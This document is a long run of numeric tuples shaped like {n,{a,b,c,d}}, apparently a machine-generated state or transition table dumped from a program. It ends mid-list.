{0,{8643,8644,8082,8082}}, {1128,{8083,8083,8083,8083}}, {0,{8645,8645,8645,8645}}, {0,{7475,7475,7475,8646}}, {0,{4913,4913,4913,8647}}, {0,{4914,4914,4914,8648}}, {0,{8649,0,7915,0}}, {0,{8650,8650,8650,8650}}, {0,{8641,8641,8641,8641}}, {0,{8652,8652,8652,8652}}, {0,{8653,8089,8089,8089}}, {1129,{8090,8090,8090,8090}}, {1130,{8655,7550,8660,7512}}, {0,{8656,8656,8656,8658}}, {0,{8657,7499,7499,7499}}, {1131,{7497,7497,7497,7497}}, {0,{8659,7502,7502,7502}}, {1132,{7503,7503,7503,7503}}, {0,{8658,8658,8658,8658}}, {0,{8662,8161,8667,7488}}, {1133,{8663,8663,8663,8665}}, {0,{8664,7470,7470,7470}}, {1134,{7468,7468,7468,7468}}, {0,{8666,7473,7473,7473}}, {1135,{7474,7474,7474,7474}}, {0,{8668,8668,8668,8668}}, {0,{8669,8149,8149,8149}}, {1136,{8150,8150,8150,8150}}, {0,{8671,6623,8671,0}}, {0,{8672,8672,8672,8672}}, {0,{8673,0,0,0}}, {1137,{0,0,0,0}}, {0,{8675,8618,8677,6669}}, {0,{8676,7545,8087,7488}}, {0,{8080,8080,8080,8081}}, {0,{8621,8161,8147,7488}}, {0,{8679,8618,8677,6669}}, {0,{8680,8714,8087,7488}}, {0,{8080,8681,8080,8081}}, {0,{8079,8682,8079,8079}}, {0,{8075,8075,8683,8075}}, {0,{7469,7469,7469,8684}}, {0,{4799,4799,4799,8685}}, {0,{4800,4800,4800,8686}}, {0,{8687,4796,7895,4796}}, {0,{8688,4797,4797,4797}}, {0,{8689,4793,4793,0}}, {0,{8690,8713,0,0}}, {0,{8691,8712,0,0}}, {0,{8692,8692,8692,8702}}, {0,{8693,8693,3752,3752}}, {0,{8694,8694,8694,3748}}, {0,{8695,8695,8695,8695}}, {0,{3571,3571,3571,8696}}, {0,{3572,3572,3572,8697}}, {0,{3573,3573,3573,8698}}, {0,{3574,3574,3574,8699}}, {0,{3575,3575,3575,8700}}, {0,{8701,3576,3576,3576}}, {1138,{3577,3577,3577,3577}}, {0,{8703,8703,0,0}}, {0,{8704,8704,8704,0}}, {0,{8705,8705,8705,8705}}, {0,{0,0,0,8706}}, {0,{0,0,0,8707}}, {0,{0,0,0,8708}}, {0,{0,0,0,8709}}, {0,{0,0,0,8710}}, {0,{8711,0,0,0}}, {1139,{0,0,0,0}}, {0,{8702,8702,8702,8702}}, {0,{8712,8712,0,0}}, {1140,{7482,8715,7482,7482}}, {0,{7473,8716,7473,7473}}, {1142,{7474,7474,8717,7474}}, {0,{7475,7475,7475,8718}}, {0,{4913,4913,4913,8719}}, {0,{4914,4914,4914,8720}}, {0,{8721,0,4910,0}}, {0,{8722,0,0,0}}, {0,{8723,0,0,0}}, {0,{8713,8713,0,0}}, {0,{8725,8725,8727,8575}}, {0,{8576,8549,8726,6669}}, {0,{8578,7434,8384,0}}, {0,{8576,8549,8728,6669}}, {0,{8581,8596,8729,8605}}, {0,{8730,8730,8730,8730}}, {0,{8731,8731,8731,8607}}, {0,{8732,8732,8732,8732}}, {0,{8609,8609,8609,8733}}, {0,{8610,8610,8610,8734}}, {0,{8611,8611,8611,8735}}, {0,{8736,0,0,0}}, {1143,{8346,8346,8346,8346}}, {0,{8738,8867,8869,8888}}, {0,{8739,8545,8865,8545}}, {0,{8740,8530,8860,8540}}, {0,{8741,8812,8837,6381}}, {0,{8742,8781,8794,8805}}, {0,{8743,8743,8743,8773}}, {0,{8744,8744,8744,8744}}, {0,{4784,4784,4784,8745}}, {0,{4785,4802,4802,8746}}, {0,{8747,4799,4801,4799}}, {0,{8748,4814,4814,4814}}, {0,{4806,4796,8749,4796}}, {1144,{4797,4797,4797,8750}}, {0,{8751,8751,8751,8772}}, {0,{8752,8771,8771,8771}}, {0,{8753,8770,8770,8770}}, {0,{8754,8754,8754,8762}}, {0,{8755,8755,8755,8755}}, {0,{3748,3748,3748,8756}}, {0,{3745,3745,3745,8757}}, {0,{3571,3571,3571,8758}}, {0,{3572,3572,3572,8759}}, {0,{3573,3573,3573,8760}}, {0,{3574,3574,8761,3574}}, {1145,{3575,3575,3575,3575}}, {0,{8763,8763,8763,8763}}, {0,{0,0,0,8764}}, {0,{0,0,0,8765}}, {0,{0,0,0,8766}}, {0,{0,0,0,8767}}, {0,{0,0,0,8768}}, {0,{0,0,8769,0}}, {1146,{0,0,0,0}}, {0,{8762,8762,8762,8762}}, {0,{8770,8770,8770,8770}}, {0,{8771,8771,8771,8771}}, {0,{8774,8774,8774,8774}}, {0,{4958,4958,4958,8775}}, {0,{4939,4916,4916,8776}}, {0,{8777,4913,4915,4913}}, {0,{8778,4933,4933,4933}}, {0,{4926,0,8779,0}}, {1147,{0,0,0,8780}}, {0,{8772,8772,8772,8772}}, {1148,{8782,8782,8782,8782}}, {0,{8783,8792,8783,8793}}, {0,{8784,5152,5152,8788}}, {0,{4939,4916,4916,8785}}, {0,{8786,4913,4915,4913}}, {0,{8787,5157,5157,5157}}, {0,{5164,0,4910,0}}, {0,{4939,4916,4916,8789}}, {0,{8790,4913,4915,4913}}, {0,{8791,5157,5157,5157}}, {0,{5156,0,8779,0}}, {1150,{8784,5152,5152,8788}}, {0,{5152,5152,5152,8788}}, {0,{8795,8795,8795,8795}}, {0,{8796,8796,8796,8796}}, {0,{5382,5382,5382,8797}}, {0,{5360,5337,5337,8798}}, {0,{8799,5338,5339,5338}}, {0,{8800,5335,5335,5335}}, {0,{5351,5331,8801,0}}, {1151,{5324,5324,5324,8802}}, {0,{8803,8803,8803,8803}}, {0,{8804,8771,8771,8771}}, {1152,{8770,8770,8770,8770}}, {0,{8806,8806,8806,8806}}, {0,{8807,8807,8807,8807}}, {0,{5434,5434,5434,8808}}, {0,{4939,4916,4916,8809}}, {0,{8810,4913,4915,4913}}, {0,{8811,4914,4914,4914}}, {0,{5426,0,8779,0}}, {1153,{8813,8828,8836,8836}}, {0,{8814,8814,8814,8821}}, {0,{8815,8815,8815,8815}}, {0,{5479,5479,5479,8816}}, {0,{5480,5480,5480,8817}}, {0,{8818,5481,5484,5481}}, {0,{8819,5482,5482,5482}}, {0,{4796,4796,8820,4796}}, {1155,{4797,4797,4797,8750}}, {0,{8822,8822,8822,8822}}, {0,{5538,5538,5538,8823}}, {0,{5516,5516,5516,8824}}, {0,{8825,5517,5520,5517}}, {0,{8826,5518,5518,5518}}, {0,{0,0,8827,0}}, {1157,{0,0,0,8780}}, {1158,{8829,8829,8829,8829}}, {0,{8830,8835,8830,8822}}, {0,{8831,5538,5538,8823}}, {0,{5516,5516,5516,8832}}, {0,{8833,5517,5520,5517}}, {0,{8834,5518,5518,5518}}, {0,{5593,0,5519,0}}, {1160,{8831,5538,5538,8823}}, {0,{8821,8821,8821,8821}}, {0,{8838,8848,8851,8859}}, {1161,{8839,8839,8839,8845}}, {0,{8840,8840,8840,8840}}, {0,{5651,5651,5651,8841}}, {0,{4802,4802,4802,8842}}, {0,{8843,4799,4801,4799}}, {0,{8844,4800,4800,4800}}, {0,{5655,4796,8749,4796}}, {0,{8846,8846,8846,8846}}, {0,{5677,5677,5677,8847}}, {0,{4916,4916,4916,8809}}, {1163,{8849,8849,8849,8849}}, {0,{8846,8850,8846,8846}}, {1165,{5677,5677,5677,8847}}, {0,{8852,8852,8852,8852}}, {0,{8853,8853,8853,8853}}, {0,{5759,5759,5759,8854}}, {0,{5723,5723,5723,8855}}, {0,{8856,5724,5725,5724}}, {0,{8857,5719,5719,5719}}, {0,{5737,0,8858,0}}, {1167,{0,0,0,8780}}, {0,{8845,8845,8845,8845}}, {0,{8861,8543,8863,6381}}, {0,{8862,6344,6348,6351}}, {0,{6341,6341,6341,6342}}, {0,{8864,6374,6377,6380}}, {1168,{6371,6371,6371,6372}}, {0,{8866,8575,8866,8575}}, {1170,{8576,8549,8577,6669}}, {0,{8614,8545,8868,8545}}, {0,{8575,8575,8575,8575}}, {0,{8870,8545,8865,8545}}, {0,{8871,8878,8871,8615}}, {0,{8872,8874,8876,6669}}, {0,{8873,7798,7641,7649}}, {0,{7623,7623,7623,7624}}, {1171,{8875,7803,7683,7683}}, {0,{7667,7667,7667,7668}}, {0,{8877,7806,7687,7649}}, {1172,{7623,7623,7623,7624}}, {0,{8879,8882,8885,6669}}, {0,{8880,8881,7744,7755}}, {0,{7728,7728,7728,7729}}, {1173,{7743,7743,7743,7743}}, {1174,{8883,8884,7781,7781}}, {0,{7766,7766,7766,7767}}, {1175,{7780,7780,7780,7780}}, {0,{8886,8887,7785,7755}}, {1176,{7728,7728,7728,7729}}, {1178,{7743,7743,7743,7743}}, {0,{8889,8545,9092,8545}}, {0,{8890,9034,9038,8674}}, {0,{8891,8987,9009,6669}}, {0,{8892,8944,8952,8985}}, {0,{8893,8893,8893,8935}}, {0,{8894,8894,8894,8926}}, {0,{8895,8895,8895,8895}}, {0,{7469,7469,7469,8896}}, {0,{4799,4799,4799,8897}}, {0,{4800,4800,4800,8898}}, {0,{8899,7894,7895,4796}}, {0,{8900,8900,8900,8900}}, {0,{7892,8901,7892,7864}}, {0,{8902,8925,8925,8925}}, {1180,{8903,8924,8924,8924}}, {0,{8904,8904,8904,8914}}, {0,{8905,8905,8905,8905}}, {0,{8906,8906,8906,8906}}, {0,{8907,8907,8907,8907}}, {0,{3571,3571,3571,8908}}, {0,{3572,3572,3572,8909}}, {0,{3573,3573,3573,8910}}, {0,{3574,3574,3574,8911}}, {0,{3575,3575,3575,8912}}, {0,{8913,3576,3576,3576}}, {1181,{3577,3577,3577,3577}}, {0,{8915,8915,8915,8915}}, {0,{8916,8916,8916,8916}}, {0,{8917,8917,8917,8917}}, {0,{0,0,0,8918}}, {0,{0,0,0,8919}}, {0,{0,0,0,8920}}, {0,{0,0,0,8921}}, {0,{0,0,0,8922}}, {0,{8923,0,0,0}}, {1182,{0,0,0,0}}, {0,{8914,8914,8914,8914}}, {0,{8924,8924,8924,8924}}, {0,{8927,8927,8927,8927}}, {0,{7469,7469,7469,8928}}, {0,{4799,4799,4799,8929}}, {0,{4800,4800,4800,8930}}, {0,{8931,7894,7895,4796}}, {0,{8932,8932,8932,8932}}, {0,{4793,8933,4793,0}}, {0,{8934,8925,8925,8925}}, {0,{8903,8924,8924,8924}}, {0,{8936,8936,8936,8936}}, {0,{8937,8937,8937,8937}}, {0,{7475,7475,7475,8938}}, {0,{4913,4913,4913,8939}}, {0,{4914,4914,4914,8940}}, {0,{8941,7914,7915,0}}, {0,{8942,8942,8942,8942}}, {0,{0,8943,0,0}}, {0,{8925,8925,8925,8925}}, {1183,{8945,8945,8945,8945}}, {0,{8946,8951,8946,8946}}, {0,{8947,8947,8947,8947}}, {0,{7475,7475,7475,8948}}, {0,{4913,4913,4913,8949}}, {0,{4914,4914,4914,8950}}, {0,{8941,7914,4910,0}}, {1185,{8947,8947,8947,8947}}, {0,{8953,8953,8953,8975}}, {0,{8954,8954,8954,8966}}, {0,{8955,8955,8955,8955}}, {0,{7487,7487,7487,8956}}, {0,{5338,5338,5338,8957}}, {0,{5335,5335,5335,8958}}, {0,{8959,7947,7948,0}}, {0,{8960,8960,8960,8960}}, {0,{7943,8961,7943,8963}}, {0,{8962,8925,8925,8925}}, {1188,{8924,8924,8924,8924}}, {0,{8964,0,8965,0}}, {1191,{0,0,0,0}}, {1192,{0,0,0,0}}, {0,{8967,8967,8967,8967}}, {0,{7487,7487,7487,8968}}, {0,{5338,5338,5338,8969}}, {0,{5335,5335,5335,8970}}, {0,{8971,7947,7948,0}}, {0,{8972,8972,8972,8972}}, {0,{5320,8973,5320,5320}}, {0,{8974,8925,8925,8925}}, {1193,{8924,8924,8924,8924}}, {0,{8976,8976,8976,8966}}, {0,{8977,8977,8977,8977}}, {0,{7487,7487,7487,8978}}, {0,{5338,5338,5338,8979}}, {0,{5335,5335,5335,8980}}, {0,{8981,7947,7948,0}}, {0,{8982,8982,8982,8982}}, {0,{5320,8973,5320,8983}}, {0,{8984,0,8965,0}}, {1195,{0,0,0,0}}, {0,{8986,8986,8986,8986}}, {0,{8946,8946,8946,8946}}, {1196,{8988,9005,9008,9008}}, {0,{8989,8989,8989,8997}}, {0,{8990,8990,8990,8990}}, {0,{8991,7497,8991,7497}}, {0,{7498,7498,7498,8992}}, {0,{5481,5481,5481,8993}}, {0,{5482,5482,5482,8994}}, {0,{8995,4796,5483,4796}}, {0,{8996,4797,8996,4797}}, {1197,{4793,4793,4793,0}}, {0,{8998,8998,8998,8998}}, {0,{8999,7503,8999,7503}}, {0,{7504,7504,7504,9000}}, {0,{5517,5517,5517,9001}}, {0,{5518,5518,5518,9002}}, {0,{9003,0,5519,0}}, {0,{9004,0,9004,0}}, {1198,{0,0,0,0}}, {1199,{9006,9006,9006,9006}}, {0,{8998,9007,8998,8998}}, {1201,{8999,7503,8999,7503}}, {0,{8997,8997,8997,8997}}, {0,{9010,9015,9019,9033}}, {1202,{9011,9011,9011,9013}}, {0,{9012,9012,9012,9012}}, {0,{8017,8017,8017,8017}}, {0,{9014,9014,9014,9014}}, {0,{7926,7926,7926,7926}}, {1204,{9016,9016,9016,9016}}, {0,{9017,9018,9017,9017}}, {0,{8027,8027,8027,8027}}, {1206,{8027,8027,8027,8027}}, {0,{9020,9020,9020,9020}}, {0,{9021,9021,9021,9032}}, {0,{9022,9022,9022,9022}}, {0,{7520,7520,7520,9023}}, {0,{5724,5724,5724,9024}}, {0,{5719,5719,5719,9025}}, {0,{9026,8043,5721,0}}, {0,{9027,9027,9027,9027}}, {0,{9028,9028,9028,9030}}, {0,{9029,0,9029,0}}, {1208,{0,0,0,0}}, {0,{9031,0,9031,0}}, {1211,{0,0,0,0}}, {0,{8039,8039,8039,8039}}, {0,{9013,9013,9013,9013}}, {0,{8675,9035,8677,6669}}, {1212,{9036,9037,8128,8128}}, {0,{8111,8111,8111,8112}}, {1213,{8127,8127,8127,8127}}, {0,{9039,8618,9049,6669}}, {0,{8676,7545,9040,7488}}, {0,{9041,9041,9041,9041}}, {0,{9042,9042,9042,8089}}, {0,{9043,9043,9043,9043}}, {0,{7487,7487,7487,9044}}, {0,{5338,5338,5338,9045}}, {0,{5335,5335,5335,9046}}, {0,{9047,5331,7948,0}}, {0,{9048,9048,9048,9048}}, {0,{5320,5320,5320,8983}}, {0,{9050,9065,9074,9091}}, {1214,{9051,9051,9051,9058}}, {0,{9052,9052,9052,9052}}, {0,{9053,9053,9053,9053}}, {0,{7469,7469,7469,9054}}, {0,{4799,4799,4799,9055}}, {0,{4800,4800,4800,9056}}, {0,{9057,4796,4798,4796}}, {1216,{4797,4797,4797,4797}}, {0,{9059,9059,9059,9059}}, {0,{9060,9060,9060,9060}}, {0,{7475,7475,7475,9061}}, {0,{4913,4913,4913,9062}}, {0,{4914,4914,4914,9063}}, {0,{9064,0,4910,0}}, {1218,{0,0,0,0}}, {1220,{9066,9066,9066,9066}}, {0,{9067,9073,9067,9067}}, {0,{9068,9068,9068,9068}}, {0,{7475,7475,7475,9069}}, {0,{4913,4913,4913,9070}}, {0,{4914,4914,4914,9071}}, {0,{9072,0,4910,0}}, {1223,{0,0,0,0}}, {1225,{9068,9068,9068,9068}}, {0,{9075,9075,9075,9075}}, {0,{9076,9076,9076,9085}}, {0,{9077,9077,9077,9077}}, {0,{7520,7520,7520,9078}}, {0,{5724,5724,5724,9079}}, {0,{5719,5719,5719,9080}}, {0,{9081,8169,5721,0}}, {1227,{9082,9082,9082,9082}}, {0,{5716,5716,5716,9083}}, {0,{9084,0,9084,0}}, {1229,{0,0,0,0}}, {0,{9086,9086,9086,9086}}, {0,{7520,7520,7520,9087}}, {0,{5724,5724,5724,9088}}, {0,{5719,5719,5719,9089}}, {0,{9090,8154,5721,0}}, {1231,{5715,5715,5715,5715}}, {0,{9058,9058,9058,9058}}, {0,{8725,8725,8725,8575}}, {0,{9094,9118,9118,9127}}, {0,{9095,9106,9112,9106}}, {0,{9096,9096,9096,9096}}, {0,{9097,9100,9102,9104}}, {0,{8542,9098,6408,6412}}, {1232,{9099,9099,9099,9099}}, {0,{6403,6403,6403,6403}}, {1233,{8544,9101,6365,6365}}, {1234,{6360,6360,6360,6360}}, {0,{8529,9103,6430,6434}}, {1236,{6424,6424,6424,6424}}, {0,{6326,9105,6326,6326}}, {1237,{6327,6327,6327,6327}}, {0,{9107,9107,9107,9107}}, {0,{9108,9110,9108,9111}}, {0,{8548,9109,0,0}}, {1238,{0,0,0,0}}, {1239,{8548,9109,0,0}}, {0,{0,9109,0,0}}, {0,{9113,9113,9113,9113}}, {0,{9114,9110,9115,9111}}, {0,{8548,9109,7406,0}}, {0,{8578,9116,0,0}}, {1240,{9117,9117,9117,9117}}, {0,{7424,7424,7424,7424}}, {0,{9119,9106,9112,9106}}, {0,{9120,9120,9120,9120}}, {0,{9121,9123,9125,9111}}, {0,{8617,9122,7483,7488}}, {1241,{7472,7472,7472,7472}}, {1242,{8619,9124,7512,7512}}, {1243,{7501,7501,7501,7501}}, {0,{8621,9126,7516,7488}}, {1245,{7472,7472,7472,7472}}, {0,{9128,9106,9112,9106}}, {0,{9129,9129,9129,9134}}, {0,{9130,9123,9131,9111}}, {0,{8676,9122,8087,7488}}, {0,{8621,9132,8147,7488}}, {1247,{9133,9133,9133,9133}}, {0,{8143,8143,8143,8143}}, {0,{9130,9123,9135,9111}}, {0,{8621,9132,9136,7488}}, {0,{9137,9137,9137,9137}}, {0,{8149,8149,8149,9138}}, {0,{8150,8150,8150,9139}}, {0,{7520,7520,7520,9140}}, {0,{5724,5724,5724,9141}}, {0,{5719,5719,5719,9142}}, {0,{9143,8154,9147,0}}, {0,{5715,5715,5715,9144}}, {0,{9145,9145,9145,9145}}, {0,{9146,0,9146,0}}, {1249,{0,0,0,0}}, {1251,{0,0,0,9148}}, {0,{9149,9149,9149,9149}}, {0,{9150,0,9150,0}}, {1252,{0,0,0,0}}, {0,{9152,10536,10631,10771}}, {0,{9153,10056,10098,10186}}, {0,{9154,9671,9703,10054}}, {0,{9155,9563,9631,9650}}, {0,{9156,9519,9523,9547}}, {0,{9157,9403,9487,9518}}, {0,{9158,9158,9158,9368}}, {0,{9159,9363,9363,9363}}, {0,{9160,9309,9358,9358}}, {0,{9161,9184,9185,9192}}, {0,{9162,9171,9177,9178}}, {0,{9163,9169,9169,9169}}, {0,{9164,0,4910,0}}, {0,{9165,9168,9168,9168}}, {0,{9166,0,0,4827}}, {0,{9167,3831,3831,3831}}, {1255,{3827,3827,3827,3827}}, {0,{9166,0,0,0}}, {0,{9170,0,4910,0}}, {0,{9168,9168,9168,9168}}, {0,{9172,9172,9172,9172}}, {0,{9173,0,4910,0}}, {0,{9174,9174,9174,9174}}, {0,{9175,0,0,0}}, {0,{9176,0,0,0}}, {1258,{0,0,0,0}}, {1259,{9172,9172,9172,9172}}, {0,{9179,9179,9179,9179}}, {0,{9180,0,4910,0}}, {0,{9181,9181,9181,9181}}, {0,{9182,0,0,0}}, {0,{9183,0,0,0}}, {1261,{0,0,0,0}}, {0,{9171,9171,9177,9178}}, {0,{9171,9186,9177,9178}}, {0,{9187,9172,9172,9172}}, {0,{9188,4920,4922,4920}}, {0,{9189,9174,9174,9174}}, {0,{9190,3954,3954,3954}}, {0,{9191,3953,3953,3953}}, {1264,{3946,3946,3946,3946}}, {0,{9193,9171,9177,9178}}, {0,{9194,9294,9294,9294}}, {0,{9195,0,4931,0}}, {0,{9196,9290,9290,9290}}, {0,{9197,9267,9267,9268}}, {0,{9198,9220,9221,4298}}, {1267,{9199,9208,9199,9199}}, {0,{9200,9200,9200,9200}}, {0,{9201,9201,9201,9201}}, {0,{9202,9202,9202,9202}}, {0,{9203,9203,9203,9203}}, {0,{0,0,0,9204}}, {0,{0,0,0,9205}}, {0,{0,0,0,9206}}, {0,{9207,0,0,0}}, {1268,{4275,4275,4275,4275}}, {0,{9209,9209,9209,9209}}, {0,{9210,9210,9210,9210}}, {0,{9211,9211,9211,9211}}, {0,{9212,9212,9212,9212}}, {0,{0,0,0,9213}}, {0,{0,0,0,9214}}, {0,{0,0,0,9215}}, {0,{9216,0,0,0}}, {1269,{9217,9217,9217,9217}}, {0,{9218,4149,0,0}}, {0,{9219,9219,9219,9219}}, {0,{4234,4234,4234,4234}}, {0,{9199,9199,9199,9199}}, {0,{9222,9222,9222,9222}}, {0,{9223,9223,9223,9223}}, {0,{9224,9224,9224,9224}}, {0,{9225,9202,9202,9202}}, {0,{9226,9203,9203,9203}}, {0,{0,0,0,9227}}, {0,{0,0,0,9228}}, {0,{0,0,0,9229}}, {0,{9230,0,0,0}}, {1270,{9231,4275,4275,4275}}, {0,{9232,9250,9232,9232}}, {0,{9233,0,0,0}}, {0,{9234,9234,9234,9234}}, {0,{9235,9235,9235,9235}}, {0,{9236,9236,9236,9236}}, {0,{9237,9237,9237,9237}}, {0,{9238,9238,9238,9238}}, {0,{9239,9239,9239,9239}}, {0,{9240,9240,9240,9240}}, {0,{9241,9241,9241,0}}, {0,{9242,9242,9242,9242}}, {0,{0,0,0,9243}}, {0,{0,0,0,9244}}, {0,{0,0,0,9245}}, {0,{0,0,0,9246}}, {0,{0,0,0,9247}}, {0,{9248,9248,9248,9248}}, {0,{9249,0,0,0}}, {1271,{0,0,0,0}}, {0,{9251,4150,4150,4150}}, {0,{9252,9252,9252,9252}}, {0,{9253,9253,9253,9253}}, {0,{9254,9254,9254,9254}}, {0,{9255,9255,9255,9255}}, {0,{9256,9256,9256,9256}}, {0,{9257,9257,9257,9257}}, {0,{9258,9258,9258,9258}}, {0,{9259,9259,9259,4083}}, {0,{9260,9260,9260,9260}}, {0,{0,0,0,9261}}, {0,{0,0,0,9262}}, {0,{0,0,0,9263}}, {0,{0,0,0,9264}}, {0,{0,0,0,9265}}, {0,{9266,9266,9248,9248}}, {1272,{9249,0,0,0}}, {0,{9220,9220,9221,4298}}, {0,{9269,9269,9279,0}}, {0,{9270,9270,9270,9270}}, {0,{9271,9271,9271,9271}}, {0,{9272,9272,9272,9272}}, {0,{9273,9273,9273,9273}}, {0,{9274,9274,9274,9274}}, {0,{0,0,0,9275}}, {0,{0,0,0,9276}}, {0,{0,0,0,9277}}, {0,{9278,0,0,0}}, {1273,{0,0,0,0}}, {0,{9280,9280,9280,9280}}, {0,{9281,9281,9281,9281}}, {0,{9282,9282,9282,9282}}, {0,{9283,9273,9273,9273}}, {0,{9284,9274,9274,9274}}, {0,{0,0,0,9285}}, {0,{0,0,0,9286}}, {0,{0,0,0,9287}}, {0,{9288,0,0,0}}, {1274,{9289,0,0,0}}, {0,{9232,9232,9232,9232}}, {0,{9291,9292,9292,9293}}, {0,{9198,9220,9220,4298}}, {0,{9220,9220,9220,4298}}, {0,{9269,9269,9269,0}}, {0,{9295,0,4910,0}}, {0,{9296,9296,9296,9296}}, {0,{9297,9293,9293,9293}}, {0,{9298,9269,9269,0}}, {1277,{9270,9299,9270,9270}}, {0,{9300,9300,9300,9300}}, {0,{9301,9301,9301,9301}}, {0,{9302,9302,9302,9302}}, {0,{9303,9303,9303,9303}}, {0,{0,0,0,9304}}, {0,{0,0,0,9305}}, {0,{0,0,0,9306}}, {0,{9307,0,0,0}}, {1278,{9308,9308,9308,9308}}, {0,{9218,0,0,0}}, {0,{9310,9184,9184,9312}}, {0,{9311,9171,9177,9178}}, {0,{9169,9169,9169,9169}}, {0,{9313,9351,9357,9178}}, {0,{9314,9294,9294,9294}}, {0,{9315,4949,4951,4949}}, {0,{9316,9290,9290,9290}}, {0,{9317,9339,9339,9340}}, {0,{9318,9338,9338,4611}}, {1281,{9319,9328,9319,9319}}, {0,{9320,9320,9320,9320}}, {0,{9321,9321,9321,9321}}, {0,{9322,9322,9322,9322}}, {0,{9323,9323,9323,9323}}, {0,{0,0,0,9324}}, {0,{0,0,0,9325}}, {0,{0,0,0,9326}}, {0,{9327,4537,4537,4539}}, {1282,{4585,4275,4275,4275}}, {0,{9329,9329,9329,9329}}, {0,{9330,9330,9330,9330}}, {0,{9331,9331,9331,9331}}, {0,{9332,9332,9332,9332}}, {0,{0,0,0,9333}}, {0,{0,0,0,9334}}, {0,{0,0,0,9335}}, {0,{9336,4537,4537,4539}}, {1283,{9337,9217,9217,9217}}, {1285,{9218,4149,0,0}}, {0,{9319,9319,9319,9319}}, {0,{9338,9338,9338,4611}}, {0,{9341,9341,9341,4641}}, {0,{9342,9342,9342,9342}}, {0,{9343,9343,9343,9343}}, {0,{9344,9344,9344,9344}}, {0,{9345,9345,9345,9345}}, {0,{9346,9346,9346,9346}}, {0,{0,0,0,9347}}, {0,{0,0,0,9348}}, {0,{0,0,0,9349}}, {0,{9350,4537,4537,4539}}, {1286,{4538,0,0,0}}, {0,{9352,9172,9172,9172}}, {0,{9353,4949,4956,4949}}, {0,{9354,9174,9174,9174}}, {0,{9355,4640,4640,4640}}, {0,{9356,4641,4641,4641}}, {1289,{4642,4642,4642,4642}}, {1290,{9352,9172,9172,9172}}, {0,{9310,9184,9184,9359}}, {0,{9360,9171,9177,9178}}, {0,{9361,9294,9294,9294}}, {0,{9362,0,4910,0}}, {0,{9290,9290,9290,9290}}, {0,{9364,9309,9358,9358}}, {0,{9161,9184,9185,9365}}, {0,{9366,9171,9177,9178}}, {0,{9367,9294,9294,9294}}, {0,{9362,0,4931,0}}, {0,{9369,9398,9398,9398}}, {0,{9370,9385,9393,9393}}, {0,{9161,9184,9185,9371}}, {0,{9372,9171,9177,9178}}, {0,{9373,9380,9380,9380}}, {0,{9374,0,4931,0}}, {0,{9375,9378,9378,9378}}, {0,{9376,9267,9267,9268}}, {0,{9377,9220,9221,4298}}, {1293,{9199,9199,9199,9199}}, {0,{9379,9292,9292,9293}}, {0,{9377,9220,9220,4298}}, {0,{9381,0,4910,0}}, {0,{9382,9382,9382,9382}}, {0,{9383,9293,9293,9293}}, {0,{9384,9269,9269,0}}, {1296,{9270,9270,9270,9270}}, {0,{9310,9184,9184,9386}}, {0,{9387,9351,9357,9178}}, {0,{9388,9380,9380,9380}}, {0,{9389,4949,4951,4949}}, {0,{9390,9378,9378,9378}}, {0,{9391,9339,9339,9340}}, {0,{9392,9338,9338,4611}}, {1299,{9319,9319,9319,9319}}, {0,{9310,9184,9184,9394}}, {0,{9395,9171,9177,9178}}, {0,{9396,9380,9380,9380}}, {0,{9397,0,4910,0}}, {0,{9378,9378,9378,9378}}, {0,{9399,9385,9393,9393}}, {0,{9161,9184,9185,9400}}, {0,{9401,9171,9177,9178}}, {0,{9402,9380,9380,9380}}, {0,{9397,0,4931,0}}, {1300,{9404,9404,9404,9404}}, {0,{9405,9405,9405,9482}}, {0,{9406,9449,9477,9477}}, {0,{4903,4916,4917,9407}}, {0,{9408,4913,4915,4913}}, {0,{9409,9446,9446,9446}}, {0,{9410,0,4931,0}}, {0,{9411,9445,9445,9445}}, {0,{9412,9412,9429,9434}}, {0,{9413,9413,9220,4298}}, {0,{9414,9414,9414,9414}}, {0,{9415,9415,9415,9415}}, {0,{9416,9416,9416,9416}}, {0,{9417,9428,9428,9428}}, {0,{9418,9418,9418,9423}}, {0,{0,0,0,9419}}, {0,{0,0,0,9420}}, {0,{0,0,0,9421}}, {0,{9422,0,0,0}}, {1302,{4275,4275,4275,4275}}, {0,{0,0,0,9424}}, {0,{0,0,0,9425}}, {0,{0,0,0,9426}}, {0,{9427,0,0,0}}, {1304,{5029,4275,4275,4275}}, {0,{9418,9418,9418,9418}}, {0,{9430,9430,9220,4298}}, {0,{9431,9431,9431,9431}}, {0,{9432,9432,9432,9432}}, {0,{9433,9433,9433,9433}}, {0,{9428,9428,9428,9428}}, {0,{9435,9435,9269,0}}, {0,{9436,9436,9436,9436}}, {0,{9437,9437,9437,9437}}, {0,{9438,9438,9438,9438}}, {0,{9439,9439,9439,9439}}, {0,{9440,9440,9440,9440}}, {0,{0,0,0,9441}}, {0,{0,0,0,9442}}, {0,{0,0,0,9443}}, {0,{9444,0,0,0}}, {1306,{0,0,0,0}}, {0,{9429,9429,9429,9434}}, {0,{9447,0,4910,0}}, {0,{9448,9448,9448,9448}}, {0,{9434,9434,9434,9434}}, {0,{4939,4916,4916,9450}}, {0,{9451,4953,4957,4913}}, {0,{9452,9446,9446,9446}}, {0,{9453,4949,4951,4949}}, {0,{9454,9445,9445,9445}}, {0,{9455,9455,9455,9466}}, {0,{9456,9456,9338,4611}}, {0,{9457,9457,9457,9457}}, {0,{9458,9458,9458,9458}}, {0,{9459,9459,9459,9459}}, {0,{9460,9460,9460,9460}}, {0,{9461,9461,9461,9461}}, {0,{0,0,0,9462}}, {0,{0,0,0,9463}}, {0,{0,0,0,9464}}, {0,{9465,4537,4537,4539}}, {1308,{4585,4275,4275,4275}}, {0,{9467,9467,9341,4641}}, {0,{9468,9468,9468,9468}}, {0,{9469,9469,9469,9469}}, {0,{9470,9470,9470,9470}}, {0,{9471,9471,9471,9471}}, {0,{9472,9472,9472,9472}}, {0,{0,0,0,9473}}, {0,{0,0,0,9474}}, {0,{0,0,0,9475}}, {0,{9476,4537,4537,4539}}, {1310,{4538,0,0,0}}, {0,{4939,4916,4916,9478}}, {0,{9479,4913,4915,4913}}, {0,{9480,9446,9446,9446}}, {0,{9481,0,4910,0}}, {0,{9445,9445,9445,9445}}, {0,{9483,9449,9477,9477}}, {0,{4903,4916,4917,9484}}, {0,{9485,4913,4915,4913}}, {0,{9486,9446,9446,9446}}, {0,{9481,0,4931,0}}, {0,{9488,9488,9488,9488}}, {0,{9489,5438,5438,5438}}, {0,{9490,5428,5434,5434}}, {0,{4903,4916,4917,9491}}, {0,{9492,4913,4915,4913}}, {0,{9493,4914,4914,4914}}, {0,{9494,0,4931,0}}, {0,{9495,5427,5427,5427}}, {0,{9496,9496,9496,9507}}, 